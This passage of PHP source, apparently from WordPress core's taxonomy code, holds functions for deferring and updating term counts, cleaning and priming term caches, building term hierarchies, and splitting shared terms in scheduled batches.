	do_action( "saved_{$taxonomy}", $term_id, $tt_id, true, $args );

	return array(
		'term_id'          => $term_id,
		'term_taxonomy_id' => $tt_id,
	);
}

/**
 * Enables or disables term counting.
 *
 * @since 2.5.0
 *
 * @param bool $defer Optional. Enable if true, disable if false.
 * @return bool Whether term counting is enabled or disabled.
 */
function wp_defer_term_counting( $defer = null ) {
	static $_defer = false;

	if ( is_bool( $defer ) ) {
		$_defer = $defer;
		// Flush any deferred counts.
		if ( ! $defer ) {
			wp_update_term_count( null, null, true );
		}
	}

	return $_defer;
}

/**
 * Updates the amount of terms in taxonomy.
 *
 * If there is a taxonomy callback applied, then it will be called for updating
 * the count.
 *
 * The default action is to count what the amount of terms have the relationship
 * of term ID. Once that is done, then update the database.
 *
 * @since 2.3.0
 *
 * @param int|array $terms       The term_taxonomy_id of the terms.
 * @param string    $taxonomy    The context of the term.
 * @param bool      $do_deferred Whether to flush the deferred term counts too. Default false.
 * @return bool If no terms will return false, and if successful will return true.
 */
function wp_update_term_count( $terms, $taxonomy, $do_deferred = false ) {
	static $_deferred = array();

	if ( $do_deferred ) {
		foreach ( (array) array_keys( $_deferred ) as $tax ) {
			wp_update_term_count_now( $_deferred[ $tax ], $tax );
			unset( $_deferred[ $tax ] );
		}
	}

	if ( empty( $terms ) ) {
		return false;
	}

	if ( ! is_array( $terms ) ) {
		$terms = array( $terms );
	}

	if ( wp_defer_term_counting() ) {
		if ( ! isset( $_deferred[ $taxonomy ] ) ) {
			$_deferred[ $taxonomy ] = array();
		}
		$_deferred[ $taxonomy ] = array_unique( array_merge( $_deferred[ $taxonomy ], $terms ) );
		return true;
	}

	return wp_update_term_count_now( $terms, $taxonomy );
}

/**
 * Performs term count update immediately.
 *
 * @since 2.5.0
 *
 * @param array  $terms    The term_taxonomy_id of terms to update.
 * @param string $taxonomy The context of the term.
 * @return true Always true when complete.
 */
function wp_update_term_count_now( $terms, $taxonomy ) {
	$terms = array_map( 'intval', $terms );

	$taxonomy = get_taxonomy( $taxonomy );
	if ( ! empty( $taxonomy->update_count_callback ) ) {
		call_user_func( $taxonomy->update_count_callback, $terms, $taxonomy );
	} else {
		$object_types = (array) $taxonomy->object_type;
		foreach ( $object_types as &$object_type ) {
			if ( str_starts_with( $object_type, 'attachment:' ) ) {
				list( $object_type ) = explode( ':', $object_type );
			}
		}

		if ( array_filter( $object_types, 'post_type_exists' ) == $object_types ) {
			// Only post types are attached to this taxonomy.
			_update_post_term_count( $terms, $taxonomy );
		} else {
			// Default count updater.
			_update_generic_term_count( $terms, $taxonomy );
		}
	}

	clean_term_cache( $terms, '', false );

	return true;
}

//
// Cache.
//

/**
 * Removes the taxonomy relationship to terms from the cache.
 *
 * Will remove the entire taxonomy relationship containing term `$object_id`. The
 * term IDs have to exist within the taxonomy `$object_type` for the deletion to
 * take place.
 *
 * @since 2.3.0
 *
 * @global bool $_wp_suspend_cache_invalidation
 *
 * @see get_object_taxonomies() for more on $object_type.
 *
 * @param int|array    $object_ids  Single or list of term object ID(s).
 * @param array|string $object_type The taxonomy object type.
 */
function clean_object_term_cache( $object_ids, $object_type ) {
	global $_wp_suspend_cache_invalidation;

	if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
		return;
	}

	if ( ! is_array( $object_ids ) ) {
		$object_ids = array( $object_ids );
	}

	$taxonomies = get_object_taxonomies( $object_type );

	foreach ( $taxonomies as $taxonomy ) {
		wp_cache_delete_multiple( $object_ids, "{$taxonomy}_relationships" );
	}

	wp_cache_set_terms_last_changed();

	/**
	 * Fires after the object term cache has been cleaned.
	 *
	 * @since 2.5.0
	 *
	 * @param array  $object_ids An array of object IDs.
	 * @param string $object_type Object type.
	 */
	do_action( 'clean_object_term_cache', $object_ids, $object_type );
}

/**
 * Removes all of the term IDs from the cache.
 *
 * @since 2.3.0
 *
 * @global wpdb $wpdb                           WordPress database abstraction object.
 * @global bool $_wp_suspend_cache_invalidation
 *
 * @param int|int[] $ids            Single or array of term IDs.
 * @param string    $taxonomy       Optional. Taxonomy slug. Can be empty, in which case the taxonomies of the passed
 *                                  term IDs will be used. Default empty.
 * @param bool      $clean_taxonomy Optional. Whether to clean taxonomy wide caches (true), or just individual
 *                                  term object caches (false). Default true.
 */
function clean_term_cache( $ids, $taxonomy = '', $clean_taxonomy = true ) {
	global $wpdb, $_wp_suspend_cache_invalidation;

	if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
		return;
	}

	if ( ! is_array( $ids ) ) {
		$ids = array( $ids );
	}

	$taxonomies = array();
	// If no taxonomy, assume tt_ids.
	if ( empty( $taxonomy ) ) {
		$tt_ids = array_map( 'intval', $ids );
		$tt_ids = implode( ', ', $tt_ids );
		$terms  = $wpdb->get_results( "SELECT term_id, taxonomy FROM $wpdb->term_taxonomy WHERE term_taxonomy_id IN ($tt_ids)" );
		$ids    = array();

		foreach ( (array) $terms as $term ) {
			$taxonomies[] = $term->taxonomy;
			$ids[]        = $term->term_id;
		}
		wp_cache_delete_multiple( $ids, 'terms' );
		$taxonomies = array_unique( $taxonomies );
	} else {
		wp_cache_delete_multiple( $ids, 'terms' );
		$taxonomies = array( $taxonomy );
	}

	foreach ( $taxonomies as $taxonomy ) {
		if ( $clean_taxonomy ) {
			clean_taxonomy_cache( $taxonomy );
		}

		/**
		 * Fires once after each taxonomy's term cache has been cleaned.
		 *
		 * @since 2.5.0
		 * @since 4.5.0 Added the `$clean_taxonomy` parameter.
		 *
		 * @param array  $ids            An array of term IDs.
		 * @param string $taxonomy       Taxonomy slug.
		 * @param bool   $clean_taxonomy Whether or not to clean taxonomy-wide caches
		 */
		do_action( 'clean_term_cache', $ids, $taxonomy, $clean_taxonomy );
	}

	wp_cache_set_terms_last_changed();
}

/**
 * Cleans the caches for a taxonomy.
 *
 * @since 4.9.0
 *
 * @param string $taxonomy Taxonomy slug.
 */
function clean_taxonomy_cache( $taxonomy ) {
	wp_cache_delete( 'all_ids', $taxonomy );
	wp_cache_delete( 'get', $taxonomy );
	wp_cache_set_terms_last_changed();

	// Regenerate cached hierarchy.
	delete_option( "{$taxonomy}_children" );
	_get_term_hierarchy( $taxonomy );

	/**
	 * Fires after a taxonomy's caches have been cleaned.
	 *
	 * @since 4.9.0
	 *
	 * @param string $taxonomy Taxonomy slug.
	 */
	do_action( 'clean_taxonomy_cache', $taxonomy );
}

/**
 * Retrieves the cached term objects for the given object ID.
 *
 * Upstream functions (like get_the_terms() and is_object_in_term()) are
 * responsible for populating the object-term relationship cache. The current
 * function only fetches relationship data that is already in the cache.
 *
 * @since 2.3.0
 * @since 4.7.0 Returns a `WP_Error` object if there's an error with
 *              any of the matched terms.
 *
 * @param int    $id       Term object ID, for example a post, comment, or user ID.
 * @param string $taxonomy Taxonomy name.
 * @return bool|WP_Term[]|WP_Error Array of `WP_Term` objects, if cached.
 *                                 False if cache is empty for `$taxonomy` and `$id`.
 *                                 WP_Error if get_term() returns an error object for any term.
 */
function get_object_term_cache( $id, $taxonomy ) {
	$_term_ids = wp_cache_get( $id, "{$taxonomy}_relationships" );

	// We leave the priming of relationship caches to upstream functions.
	if ( false === $_term_ids ) {
		return false;
	}

	// Backward compatibility for if a plugin is putting objects into the cache, rather than IDs.
	$term_ids = array();
	foreach ( $_term_ids as $term_id ) {
		if ( is_numeric( $term_id ) ) {
			$term_ids[] = (int) $term_id;
		} elseif ( isset( $term_id->term_id ) ) {
			$term_ids[] = (int) $term_id->term_id;
		}
	}

	// Fill the term objects.
	_prime_term_caches( $term_ids );

	$terms = array();
	foreach ( $term_ids as $term_id ) {
		$term = get_term( $term_id, $taxonomy );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$terms[] = $term;
	}

	return $terms;
}

/**
 * Updates the cache for the given term object ID(s).
 *
 * Note: Due to performance concerns, great care should be taken to only update
 * term caches when necessary. Processing time can increase exponentially depending
 * on both the number of passed term IDs and the number of taxonomies those terms
 * belong to.
 *
 * Caches will only be updated for terms not already cached.
 *
 * @since 2.3.0
 *
 * @param string|int[]    $object_ids  Comma-separated list or array of term object IDs.
 * @param string|string[] $object_type The taxonomy object type or array of the same.
 * @return void|false Void on success or if the `$object_ids` parameter is empty,
 *                    false if all of the terms in `$object_ids` are already cached.
 */
function update_object_term_cache( $object_ids, $object_type ) {
	if ( empty( $object_ids ) ) {
		return;
	}

	if ( ! is_array( $object_ids ) ) {
		$object_ids = explode( ',', $object_ids );
	}

	$object_ids     = array_map( 'intval', $object_ids );
	$non_cached_ids = array();

	$taxonomies = get_object_taxonomies( $object_type );

	foreach ( $taxonomies as $taxonomy ) {
		$cache_values = wp_cache_get_multiple( (array) $object_ids, "{$taxonomy}_relationships" );

		foreach ( $cache_values as $id => $value ) {
			if ( false === $value ) {
				$non_cached_ids[] = $id;
			}
		}
	}

	if ( empty( $non_cached_ids ) ) {
		return false;
	}

	$non_cached_ids = array_unique( $non_cached_ids );

	$terms = wp_get_object_terms(
		$non_cached_ids,
		$taxonomies,
		array(
			'fields'                 => 'all_with_object_id',
			'orderby'                => 'name',
			'update_term_meta_cache' => false,
		)
	);

	$object_terms = array();
	foreach ( (array) $terms as $term ) {
		$object_terms[ $term->object_id ][ $term->taxonomy ][] = $term->term_id;
	}

	foreach ( $non_cached_ids as $id ) {
		foreach ( $taxonomies as $taxonomy ) {
			if ( ! isset( $object_terms[ $id ][ $taxonomy ] ) ) {
				if ( ! isset( $object_terms[ $id ] ) ) {
					$object_terms[ $id ] = array();
				}
				$object_terms[ $id ][ $taxonomy ] = array();
			}
		}
	}

	$cache_values = array();
	foreach ( $object_terms as $id => $value ) {
		foreach ( $value as $taxonomy => $terms ) {
			$cache_values[ $taxonomy ][ $id ] = $terms;
		}
	}
	foreach ( $cache_values as $taxonomy => $data ) {
		wp_cache_add_multiple( $data, "{$taxonomy}_relationships" );
	}
}

/**
 * Updates terms in cache.
 *
 * @since 2.3.0
 *
 * @param WP_Term[] $terms    Array of term objects to change.
 * @param string    $taxonomy Not used.
 */
function update_term_cache( $terms, $taxonomy = '' ) {
	$data = array();
	foreach ( (array) $terms as $term ) {
		// Create a copy in case the array was passed by reference.
		$_term = clone $term;

		// Object ID should not be cached.
		unset( $_term->object_id );

		$data[ $term->term_id ] = $_term;
	}
	wp_cache_add_multiple( $data, 'terms' );
}

//
// Private.
//

/**
 * Retrieves children of taxonomy as term IDs.
 *
 * @access private
 * @since 2.3.0
 *
 * @param string $taxonomy Taxonomy name.
 * @return array Empty if $taxonomy isn't hierarchical or returns children as term IDs.
 */
function _get_term_hierarchy( $taxonomy ) {
	if ( ! is_taxonomy_hierarchical( $taxonomy ) ) {
		return array();
	}
	$children = get_option( "{$taxonomy}_children" );

	if ( is_array( $children ) ) {
		return $children;
	}
	$children = array();
	$terms    = get_terms(
		array(
			'taxonomy'               => $taxonomy,
			'get'                    => 'all',
			'orderby'                => 'id',
			'fields'                 => 'id=>parent',
			'update_term_meta_cache' => false,
		)
	);
	foreach ( $terms as $term_id => $parent ) {
		if ( $parent > 0 ) {
			$children[ $parent ][] = $term_id;
		}
	}
	update_option( "{$taxonomy}_children", $children );

	return $children;
}

/**
 * Gets the subset of $terms that are descendants of $term_id.
 *
 * If `$terms` is an array of objects, then _get_term_children() returns an array of objects.
 * If `$terms` is an array of IDs, then _get_term_children() returns an array of IDs.
 *
 * @access private
 * @since 2.3.0
 *
 * @param int    $term_id   The ancestor term: all returned terms should be descendants of `$term_id`.
 * @param array  $terms     The set of terms - either an array of term objects or term IDs - from which those that
 *                          are descendants of $term_id will be chosen.
 * @param string $taxonomy  The taxonomy which determines the hierarchy of the terms.
 * @param array  $ancestors Optional. Term ancestors that have already been identified. Passed by reference, to keep
 *                          track of found terms when recursing the hierarchy. The array of located ancestors is used
 *                          to prevent infinite recursion loops. For performance, `term_ids` are used as array keys,
 *                          with 1 as value. Default empty array.
 * @return array|WP_Error The subset of $terms that are descendants of $term_id.
 */
function _get_term_children( $term_id, $terms, $taxonomy, &$ancestors = array() ) {
	$empty_array = array();
	if ( empty( $terms ) ) {
		return $empty_array;
	}

	$term_id      = (int) $term_id;
	$term_list    = array();
	$has_children = _get_term_hierarchy( $taxonomy );

	if ( $term_id && ! isset( $has_children[ $term_id ] ) ) {
		return $empty_array;
	}

	// Include the term itself in the ancestors array, so we can properly detect when a loop has occurred.
	if ( empty( $ancestors ) ) {
		$ancestors[ $term_id ] = 1;
	}

	foreach ( (array) $terms as $term ) {
		$use_id = false;
		if ( ! is_object( $term ) ) {
			$term = get_term( $term, $taxonomy );
			if ( is_wp_error( $term ) ) {
				return $term;
			}
			$use_id = true;
		}

		// Don't recurse if we've already identified the term as a child - this indicates a loop.
		if ( isset( $ancestors[ $term->term_id ] ) ) {
			continue;
		}

		if ( (int) $term->parent === $term_id ) {
			if ( $use_id ) {
				$term_list[] = $term->term_id;
			} else {
				$term_list[] = $term;
			}

			if ( ! isset( $has_children[ $term->term_id ] ) ) {
				continue;
			}

			$ancestors[ $term->term_id ] = 1;

			$children = _get_term_children( $term->term_id, $terms, $taxonomy, $ancestors );
			if ( $children ) {
				$term_list = array_merge( $term_list, $children );
			}
		}
	}

	return $term_list;
}

/**
 * Adds count of children to parent count.
 *
 * Recalculates term counts by including items from child terms. Assumes all
 * relevant children are already in the $terms argument.
 *
 * @access private
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param object[]|WP_Term[] $terms    List of term objects (passed by reference).
 * @param string             $taxonomy Term context.
 */
function _pad_term_counts( &$terms, $taxonomy ) {
	global $wpdb;

	// This function only works for hierarchical taxonomies like post categories.
	if ( ! is_taxonomy_hierarchical( $taxonomy ) ) {
		return;
	}

	$term_hier = _get_term_hierarchy( $taxonomy );

	if ( empty( $term_hier ) ) {
		return;
	}

	$term_items  = array();
	$terms_by_id = array();
	$term_ids    = array();

	foreach ( (array) $terms as $key => $term ) {
		$terms_by_id[ $term->term_id ]       = & $terms[ $key ];
		$term_ids[ $term->term_taxonomy_id ] = $term->term_id;
	}

	// Get the object and term IDs and stick them in a lookup table.
	$tax_obj      = get_taxonomy( $taxonomy );
	$object_types = esc_sql( $tax_obj->object_type );
	$results      = $wpdb->get_results( "SELECT object_id, term_taxonomy_id FROM $wpdb->term_relationships INNER JOIN $wpdb->posts ON object_id = ID WHERE term_taxonomy_id IN (" . implode( ',', array_keys( $term_ids ) ) . ") AND post_type IN ('" . implode( "', '", $object_types ) . "') AND post_status = 'publish'" );

	foreach ( $results as $row ) {
		$id = $term_ids[ $row->term_taxonomy_id ];

		$term_items[ $id ][ $row->object_id ] = isset( $term_items[ $id ][ $row->object_id ] ) ? ++$term_items[ $id ][ $row->object_id ] : 1;
	}

	// Touch every ancestor's lookup row for each post in each term.
	foreach ( $term_ids as $term_id ) {
		$child     = $term_id;
		$ancestors = array();
		while ( ! empty( $terms_by_id[ $child ] ) && $parent = $terms_by_id[ $child ]->parent ) {
			$ancestors[] = $child;

			if ( ! empty( $term_items[ $term_id ] ) ) {
				foreach ( $term_items[ $term_id ] as $item_id => $touches ) {
					$term_items[ $parent ][ $item_id ] = isset( $term_items[ $parent ][ $item_id ] ) ? ++$term_items[ $parent ][ $item_id ] : 1;
				}
			}

			$child = $parent;

			if ( in_array( $parent, $ancestors, true ) ) {
				break;
			}
		}
	}

	// Transfer the touched cells.
	foreach ( (array) $term_items as $id => $items ) {
		if ( isset( $terms_by_id[ $id ] ) ) {
			$terms_by_id[ $id ]->count = count( $items );
		}
	}
}

/**
 * Adds any terms from the given IDs to the cache that do not already exist in cache.
 *
 * @since 4.6.0
 * @since 6.1.0 This function is no longer marked as "private".
 * @since 6.3.0 Use wp_lazyload_term_meta() for lazy-loading of term meta.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $term_ids          Array of term IDs.
 * @param bool  $update_meta_cache Optional. Whether to update the meta cache. Default true.
 */
function _prime_term_caches( $term_ids, $update_meta_cache = true ) {
	global $wpdb;

	$non_cached_ids = _get_non_cached_ids( $term_ids, 'terms' );
	if ( ! empty( $non_cached_ids ) ) {
		$fresh_terms = $wpdb->get_results( sprintf( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE t.term_id IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) );

		update_term_cache( $fresh_terms );
	}

	if ( $update_meta_cache ) {
		wp_lazyload_term_meta( $term_ids );
	}
}

//
// Default callbacks.
//

/**
 * Updates term count based on object types of the current taxonomy.
 *
 * Private function for the default callback for post_tag and category
 * taxonomies.
 *
 * @access private
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int[]       $terms    List of term taxonomy IDs.
 * @param WP_Taxonomy $taxonomy Current taxonomy object of terms.
 */
function _update_post_term_count( $terms, $taxonomy ) {
	global $wpdb;

	$object_types = (array) $taxonomy->object_type;

	foreach ( $object_types as &$object_type ) {
		list( $object_type ) = explode( ':', $object_type );
	}

	$object_types = array_unique( $object_types );

	$check_attachments = array_search( 'attachment', $object_types, true );
	if ( false !== $check_attachments ) {
		unset( $object_types[ $check_attachments ] );
		$check_attachments = true;
	}

	if ( $object_types ) {
		$object_types = esc_sql( array_filter( $object_types, 'post_type_exists' ) );
	}

	$post_statuses = array( 'publish' );

	/**
	 * Filters the post statuses for updating the term count.
	 *
	 * @since 5.7.0
	 *
	 * @param string[]    $post_statuses List of post statuses to include in the count. Default is 'publish'.
	 * @param WP_Taxonomy $taxonomy      Current taxonomy object.
	 */
	$post_statuses = esc_sql( apply_filters( 'update_post_term_count_statuses', $post_statuses, $taxonomy ) );

	foreach ( (array) $terms as $term ) {
		$count = 0;

		// Attachments can be 'inherit' status, we need to base count off the parent's status if so.
		if ( $check_attachments ) {
			// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.QuotedDynamicPlaceholderGeneration
			$count += (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts p1 WHERE p1.ID = $wpdb->term_relationships.object_id AND ( post_status IN ('" . implode( "', '", $post_statuses ) . "') OR ( post_status = 'inherit' AND post_parent > 0 AND ( SELECT post_status FROM $wpdb->posts WHERE ID = p1.post_parent ) IN ('" . implode( "', '", $post_statuses ) . "') ) ) AND post_type = 'attachment' AND term_taxonomy_id = %d", $term ) );
		}

		if ( $object_types ) {
			// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.QuotedDynamicPlaceholderGeneration
			$count += (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status IN ('" . implode( "', '", $post_statuses ) . "') AND post_type IN ('" . implode( "', '", $object_types ) . "') AND term_taxonomy_id = %d", $term ) );
		}

		/** This action is documented in wp-includes/taxonomy.php */
		do_action( 'edit_term_taxonomy', $term, $taxonomy->name );
		$wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) );

		/** This action is documented in wp-includes/taxonomy.php */
		do_action( 'edited_term_taxonomy', $term, $taxonomy->name );
	}
}

/**
 * Updates term count based on number of objects.
 *
 * Default callback for the 'link_category' taxonomy.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int[]       $terms    List of term taxonomy IDs.
 * @param WP_Taxonomy $taxonomy Current taxonomy object of terms.
 */
function _update_generic_term_count( $terms, $taxonomy ) {
	global $wpdb;

	foreach ( (array) $terms as $term ) {
		$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term ) );

		/** This action is documented in wp-includes/taxonomy.php */
		do_action( 'edit_term_taxonomy', $term, $taxonomy->name );
		$wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) );

		/** This action is documented in wp-includes/taxonomy.php */
		do_action( 'edited_term_taxonomy', $term, $taxonomy->name );
	}
}

/**
 * Creates a new term for a term_taxonomy item that currently shares its term
 * with another term_taxonomy.
 *
 * @ignore
 * @since 4.2.0
 * @since 4.3.0 Introduced `$record` parameter. Also, `$term_id` and
 *              `$term_taxonomy_id` can now accept objects.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|object $term_id          ID of the shared term, or the shared term object.
 * @param int|object $term_taxonomy_id ID of the term_taxonomy item to receive a new term, or the term_taxonomy object
 *                                     (corresponding to a row from the term_taxonomy table).
 * @param bool       $record           Whether to record data about the split term in the options table. The recording
 *                                     process has the potential to be resource-intensive, so during batch operations
 *                                     it can be beneficial to skip inline recording and do it just once, after the
 *                                     batch is processed. Only set this to `false` if you know what you are doing.
 *                                     Default: true.
 * @return int|WP_Error When the current term does not need to be split (or cannot be split on the current
 *                      database schema), `$term_id` is returned. When the term is successfully split, the
 *                      new term_id is returned. A WP_Error is returned for miscellaneous errors.
 */
function _split_shared_term( $term_id, $term_taxonomy_id, $record = true ) {
	global $wpdb;

	if ( is_object( $term_id ) ) {
		$shared_term = $term_id;
		$term_id     = (int) $shared_term->term_id;
	}

	if ( is_object( $term_taxonomy_id ) ) {
		$term_taxonomy    = $term_taxonomy_id;
		$term_taxonomy_id = (int) $term_taxonomy->term_taxonomy_id;
	}

	// If there are no shared term_taxonomy rows, there's nothing to do here.
	$shared_tt_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy tt WHERE tt.term_id = %d AND tt.term_taxonomy_id != %d", $term_id, $term_taxonomy_id ) );

	if ( ! $shared_tt_count ) {
		return $term_id;
	}

	/*
	 * Verify that the term_taxonomy_id passed to the function is actually associated with the term_id.
	 * If there's a mismatch, it may mean that the term is already split. Return the actual term_id from the db.
	 */
	$check_term_id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT term_id FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = %d", $term_taxonomy_id ) );
	if ( $check_term_id !== $term_id ) {
		return $check_term_id;
	}

	// Pull up data about the currently shared slug, which we'll use to populate the new one.
	if ( empty( $shared_term ) ) {
		$shared_term = $wpdb->get_row( $wpdb->prepare( "SELECT t.* FROM $wpdb->terms t WHERE t.term_id = %d", $term_id ) );
	}

	$new_term_data = array(
		'name'       => $shared_term->name,
		'slug'       => $shared_term->slug,
		'term_group' => $shared_term->term_group,
	);

	if ( false === $wpdb->insert( $wpdb->terms, $new_term_data ) ) {
		return new WP_Error( 'db_insert_error', __( 'Could not split shared term.' ), $wpdb->last_error );
	}

	$new_term_id = (int) $wpdb->insert_id;

	// Update the existing term_taxonomy to point to the newly created term.
	$wpdb->update(
		$wpdb->term_taxonomy,
		array( 'term_id' => $new_term_id ),
		array( 'term_taxonomy_id' => $term_taxonomy_id )
	);

	// Reassign child terms to the new parent.
	if ( empty( $term_taxonomy ) ) {
		$term_taxonomy = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = %d", $term_taxonomy_id ) );
	}

	$children_tt_ids = $wpdb->get_col( $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_taxonomy WHERE parent = %d AND taxonomy = %s", $term_id, $term_taxonomy->taxonomy ) );
	if ( ! empty( $children_tt_ids ) ) {
		foreach ( $children_tt_ids as $child_tt_id ) {
			$wpdb->update(
				$wpdb->term_taxonomy,
				array( 'parent' => $new_term_id ),
				array( 'term_taxonomy_id' => $child_tt_id )
			);
			clean_term_cache( (int) $child_tt_id, '', false );
		}
	} else {
		// If the term has no children, we must force its taxonomy cache to be rebuilt separately.
		clean_term_cache( $new_term_id, $term_taxonomy->taxonomy, false );
	}

	clean_term_cache( $term_id, $term_taxonomy->taxonomy, false );

	/*
	 * Taxonomy cache clearing is delayed to avoid race conditions that may occur when
	 * regenerating the taxonomy's hierarchy tree.
	 */
	$taxonomies_to_clean = array( $term_taxonomy->taxonomy );

	// Clean the cache for term taxonomies formerly shared with the current term.
	$shared_term_taxonomies = $wpdb->get_col( $wpdb->prepare( "SELECT taxonomy FROM $wpdb->term_taxonomy WHERE term_id = %d", $term_id ) );
	$taxonomies_to_clean    = array_merge( $taxonomies_to_clean, $shared_term_taxonomies );

	foreach ( $taxonomies_to_clean as $taxonomy_to_clean ) {
		clean_taxonomy_cache( $taxonomy_to_clean );
	}

	// Keep a record of term_ids that have been split, keyed by old term_id. See wp_get_split_term().
	if ( $record ) {
		$split_term_data = get_option( '_split_terms', array() );
		if ( ! isset( $split_term_data[ $term_id ] ) ) {
			$split_term_data[ $term_id ] = array();
		}

		$split_term_data[ $term_id ][ $term_taxonomy->taxonomy ] = $new_term_id;
		update_option( '_split_terms', $split_term_data );
	}

	// If we've just split the final shared term, set the "finished" flag.
	$shared_terms_exist = $wpdb->get_results(
		"SELECT tt.term_id, t.*, count(*) as term_tt_count FROM {$wpdb->term_taxonomy} tt
		 LEFT JOIN {$wpdb->terms} t ON t.term_id = tt.term_id
		 GROUP BY t.term_id
		 HAVING term_tt_count > 1
		 LIMIT 1"
	);
	if ( ! $shared_terms_exist ) {
		update_option( 'finished_splitting_shared_terms', true );
	}

	/**
	 * Fires after a previously shared taxonomy term is split into two separate terms.
	 *
	 * @since 4.2.0
	 *
	 * @param int    $term_id          ID of the formerly shared term.
	 * @param int    $new_term_id      ID of the new term created for the $term_taxonomy_id.
	 * @param int    $term_taxonomy_id ID for the term_taxonomy row affected by the split.
	 * @param string $taxonomy         Taxonomy for the split term.
	 */
	do_action( 'split_shared_term', $term_id, $new_term_id, $term_taxonomy_id, $term_taxonomy->taxonomy );

	return $new_term_id;
}

/**
 * Splits a batch of shared taxonomy terms.
 *
 * @since 4.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function _wp_batch_split_terms() {
	global $wpdb;

	$lock_name = 'term_split.lock';

	// Try to lock.
	$lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'no') /* LOCK */", $lock_name, time() ) );

	if ( ! $lock_result ) {
		$lock_result = get_option( $lock_name );

		// Bail if we were unable to create a lock, or if the existing lock is still valid.
		if ( ! $lock_result || ( $lock_result > ( time() - HOUR_IN_SECONDS ) ) ) {
			wp_schedule_single_event( time() + ( 5 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' );
			return;
		}
	}

	// Update the lock, as by this point we've definitely got a lock, just need to fire the actions.
	update_option( $lock_name, time() );

	// Get a list of shared terms (those with more than one associated row in term_taxonomy).
	$shared_terms = $wpdb->get_results(
		"SELECT tt.term_id, t.*, count(*) as term_tt_count FROM {$wpdb->term_taxonomy} tt
		 LEFT JOIN {$wpdb->terms} t ON t.term_id = tt.term_id
		 GROUP BY t.term_id
		 HAVING term_tt_count > 1
		 LIMIT 10"
	);

	// No more terms, we're done here.
	if ( ! $shared_terms ) {
		update_option( 'finished_splitting_shared_terms', true );
		delete_option( $lock_name );
		return;
	}

	// Shared terms found? We'll need to run this script again.
	wp_schedule_single_event( time() + ( 2 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' );

	// Rekey shared term array for faster lookups.
	$_shared_terms = array();
	foreach ( $shared_terms as $shared_term ) {
		$term_id                   = (int) $shared_term->term_id;
		$_shared_terms[ $term_id ] = $shared_term;
	}
	$shared_terms = $_shared_terms;

	// Get term taxonomy data for all shared terms.
	$shared_term_ids = implode( ',', array_keys( $shared_terms ) );
	$shared_tts      = $wpdb->get_results( "SELECT * FROM {$wpdb->term_taxonomy} WHERE `term_id` IN ({$shared_term_ids})" );

	// Split term data recording is slow, so we do it just once, outside the loop.
	$split_term_data    = get_option( '_split_terms', array() );
	$skipped_first_term = array();
	$taxonomies         = array();
	foreach ( $shared_tts as $shared_tt ) {
		$term_id = (int) $shared_tt->term_id;

		// Don't split the first tt belonging to a given term_id.
		if ( ! isset( $skipped_first_term[ $term_id ] ) ) {
			$skipped_first_term[ $term_id ] = 1;
			continue;
		}

		if ( ! isset( $split_term_data[ $term_id ] ) ) {
			$split_term_data[ $term_id ] = array();
		}

		// Keep track of taxonomies whose hierarchies need flushing.
		if ( ! isset( $taxonomies[ $shared_tt->taxonomy ] ) ) {
			$taxonomies[ $shared_tt->taxonomy ] = 1;
		}

		// Split the term.
		$split_term_data[ $term_id ][ $shared_tt->taxonomy ] = _split_shared_term( $shared_terms[ $term_id ], $shared_tt, false );
	}

	// Rebuild the cached hierarchy for each affected taxonomy.
	foreach ( array_keys( $taxonomies ) as $tax ) {
		delete_option( "{$tax}_children" );
		_get_term_hierarchy( $tax );
	}

	update_option( '_split_terms', $split_term_data );

	delete_option( $lock_name );
}

/**
 * In order to avoid the _wp_batch_split_terms() job being accidentally removed,
 * checks that it's still scheduled while we haven't finished splitting terms.
 *
 * @ignore
 * @since 4.3.0
 */
function _wp_check_for_scheduled_split_terms() {
	if ( ! get_option( 'finished_splitting_shared_terms' ) && ! wp_next_scheduled( 'wp_split_shared_term_batch' ) ) {
		wp_schedule_single_event( time() + MINUTE_IN_SECONDS, 'wp_split_shared_term_batch' );
	}
}

/**
 * Checks default categories when a term gets split to see if any of them need to be updated.
 *
 * @ignore
 * @since 4.2.0
 *
 * @param int    $term_id          ID of the formerly shared term.
 * @param int    $new_term_id      ID of the new term created for the $term_taxonomy_id.
 * @param int    $term_taxonomy_id ID for the term_taxonomy row affected by the split.
 * @param string $taxonomy         Taxonomy for the split term.
 */
function _wp_check_split_default_terms( $term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) {
	if ( 'category' !== $taxonomy ) {
		return;
	}

	foreach ( array( 'default_category', 'default_link_category', 'default_email_category' ) as $option ) {
